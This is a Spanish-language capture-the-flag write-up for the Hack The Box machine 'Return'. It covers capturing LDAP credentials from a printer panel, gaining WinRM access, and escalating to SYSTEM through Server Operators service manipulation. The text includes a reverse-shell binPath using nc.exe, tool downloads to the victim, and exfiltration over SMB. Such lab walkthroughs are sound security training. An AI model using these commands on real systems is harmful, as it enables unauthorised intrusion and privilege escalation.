Return
Skills
- Abusing Printer
- Abusing Server Operators Group
- Service Configuration Manipulation
Certificaciones
- eJPT
- OSCP (Escalada)
Descripción
Return
es una máquina easy windows
, obtenemos unas credenciales
debido a que la web tiene un autologin
, al hacer que la web se conecte
a nuestro equipo
obtenemos las credenciales
que nos permiten conectarnos
a la máquina víctima por winrm
. Posteriormente escalamos privilegios
abusando de un grupo privilegiado
en el que nos encontramos
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas windows
suele ser 128
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.95.241
PING 10.129.95.241 (10.129.95.241) 56(84) bytes of data.
64 bytes from 10.129.95.241: icmp_seq=1 ttl=127 time=64.7 ms
64 bytes from 10.129.95.241: icmp_seq=2 ttl=127 time=62.6 ms
^C
--- 10.129.95.241 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 62.578/63.628/64.679/1.050 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.150 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 00:35 CEST
Initiating SYN Stealth Scan at 00:35
Scanning 10.129.95.150 [65535 ports]
Discovered open port 22/tcp on 10.129.95.150
Discovered open port 5000/tcp on 10.129.95.150
Completed SYN Stealth Scan at 00:36, 13.31s elapsed (65535 total ports)
Nmap scan report for 10.129.95.150
Host is up (0.073s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
Raw packets sent: 65591 (2.886MB) | Rcvd: 65592 (2.624MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# map -sCV -p53,80,88,135,139,389,445,464,593,636,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49681,49697 10.129.95.241 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 11:39 CEST
Nmap scan report for 10.129.95.241
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-15 09:57:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-15T09:58:50
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 18m33s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.20 seconds
Web Enumeration
Al acceder al servicio web vemos lo siguiente
Me llama la atención mucho que podamos poner una ip
en Server Address
, nos vamos a poner en escucha con netcat por el puerto 389
1
# nc -nlvp 389
En la página web vamos a introducir
nuestra dirección ip
Esto es lo que obtenemos, en mi opinión esto puede ser un usuario
y contraseña
que se han leakeado
1
2
3
4
5
# nc -nlvp 389
listening on [any] 389 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.95.241] 64447
0*`%return\svc-printer�
1edFg43012!!
Vamos a validar
las credenciales
por los diferentes servicios que tiene la máquina víctima usando crackmapexec
1
2
3
# crackmapexec smb 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
1
2
3
4
# crackmapexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
SMB 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
HTTP 10.129.95.241 5985 PRINTER [*] http://10.129.95.241:5985/wsman
WINRM 10.129.95.241 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
Instrusión
Al parecer nos podemos conectar
a la máquina víctima
a través de winrm
, por lo tanto vamos a hacerlo
1
2
3
4
5
6
7
8
9
10
11
# evil-winrm -u 'svc-printer' -p '1edFg43012!!' -i 10.129.95.241
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
Privilege Escalation
Vamos a transferirnos winpeas.exe
a la máquina víctima, lo primero es descargarnos el binario en https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS, desde el mismo directorio donde está el archivo nos creamos un servidor con python por el puerto 80
1
# python -m http.server 80
Desde la máquina víctima ejecutamos este comando para que nos envíe el archivo al escritorio de nuestro usuario
1
*Evil-WinRM* PS C:\Users\Administrator\Desktop> Invoke-WebRequest -Uri "http://10.10.16.16/winpeas.exe" -OutFile "$env:USERPROFILE\Desktop\winpeas.exe"
Almacenamos el output de winpeas en un archivo de texto
1
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ./winpeas.exe > output.txt
Nos vamos a enviar este archivo a nuestra máquina linux, lo primero es montarnos un servidor smb
1
# impacket-smbserver smbFolder $(pwd) -smb2support
Desde la máquina víctima nos enviamos el output a nuestro equipo, analizando el output no he visto nada interesante así que vamos a hacerlo de forma manual
1
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> copy output.txt \\10.10.16.16\smbFolder\output.txt
Otra opción sería hacer lo siguiente
1
2
3
4
5
# *Evil-WinRM* PS C:\Users\svc-printer\Desktop> download output.txt
Info: Downloading C:\Users\svc-printer\Desktop\output.txt to output.txt
Info: Download successful!
Listamos
los privilegios
de nuestro usuario
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
Listamos
los grupos
de nuestro usuario
e información detallada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SeTimeZonePrivilege Change the time zone Enabled
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 1:15:13 AM
Password expires Never
Password changeable 5/27/2021 1:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/26/2021 1:39:29 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
Listamos
los servicios
del sistema
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
He encontrado que los usuarios del grupo Server Operators
pueden hacer varias cosas interesantes, entre ellas la de parar
y correr
servicios. Esta información
la he encontrado en https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/manage/understand-security-groups#server-operators. El siguiente paso para escalar privilegios
es mandarnos
el netcat.exe
a la máquina víctima, para ello debemos descargarnos
el binario de netcat
https://eternallybored.org/misc/netcat/
1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /home/justice-reaper/Downloads/netcat-1.11/nc.exe
Info: Uploading /home/justice-reaper/Downloads/netcat-1.11/nc.exe to C:\Users\svc-printer\Documents\nc.exe
Data: 48704 bytes of 48704 bytes copied
Info: Upload successful!
He probado a crear
un servicio
y no
me deja
, he estado probando varios servicios y al final he dado con el servicio VMTools
que me ha dejado modificarlo
1
2
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe 10.10.16.16 443 -e cmd"
[SC] ChangeServiceConfig SUCCESS
Nos ponemos en escucha en netcat
en el puerto 443
1
# nc -nlvp 443
Lo siguiente que hacemos es parar
el servicio
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Ahora al iniciar
el servicio VMTools
, nos va ha coger el binPath
del nc.exe
y nos va a mandar
una cmd
a nuestro equipo
1
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VMTools
Ganamos acceso como nt authority\system
debido a que el grupo Server Operators
es un grupo privilegiado
1
2
3
4
5
6
7
8
9
# nc -nlvp 443
listening on [any] 443 ...
sconnect to [10.10.16.16] from (UNKNOWN) [10.129.95.241] 51102
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system